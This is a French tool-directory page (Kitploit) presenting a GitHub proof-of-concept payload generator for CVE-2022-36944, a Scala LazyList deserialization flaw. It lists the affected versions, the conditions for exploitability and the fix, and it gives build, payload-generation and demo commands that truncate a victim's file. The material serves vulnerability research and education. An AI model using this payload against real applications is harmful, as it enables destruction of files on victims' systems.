Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
lazylist-cve-poc — POC pour l'exploit de la vulnérabilité CVE-2022-36944 | Kitploit
Outils/GitHubGitHub/yarocher/lazylist-cve-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de Binaires
GitHubyarocher/lazylist-cve-poc

lazylist-cve-poc

POC pour l'exploit de la vulnérabilité CVE-2022-36944

Voir le dépôt
11114il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Générateur de payload CVE-2022-36944

Ce mini-projet est créé pour démontrer une preuve de concept de la vulnérabilité CVE-2022-36944. Il est similaire à ysoserial, mais génère une payload uniquement pour cette CVE avec la classe LazyList.

FAQ rapide

Quels artefacts apportent la vulnérabilité ?

org.scala-lang:scala-library avec les versions 2.13.x antérieures à 2.13.9

Quelles applications sont vulnérables ?

Deux conditions doivent être réunies pour que votre application soit exploitable :

  • Votre application contient le jar scala-library vulnérable dans le classpath
  • ObjectInputStream#readObject() est éventuellement appelé quelque part dans votre application et des données non fiables (contrôlées par l'attaquant) lui sont transmises

Où la vulnérabilité a-t-elle été corrigée ?

Voir la PR Scala : #10118

Build

mvn clean package

Exécution

La commande suivante affichera la payload sur la sortie standard, qui peut être utilisée pour tronquer un fichier arbitraire sur la machine de la victime :

mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="/file/to/truncate false"

Démo

A) Via un fichier

  1. Préparer un fichier de test avec quelques données à l'intérieur :
$ yes sometestdata > test_data
^C
$ head test_data 
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
  1. Générer la payload et l'enregistrer dans le fichier payload.ser :
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" > payload.ser
  1. Exécuter le processus victime (ClassCastException attendue) :
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="payload.ser"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
  1. Vérifier que le fichier victime est tronqué :
$ head test_data 
$ 

B) Pipe vers l'entrée standard

Les étapes 2-3 peuvent être combinées de cette manière (utiliser "-" comme fichier pour Victim) :

$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" | mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="-"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
Télécharger l’outil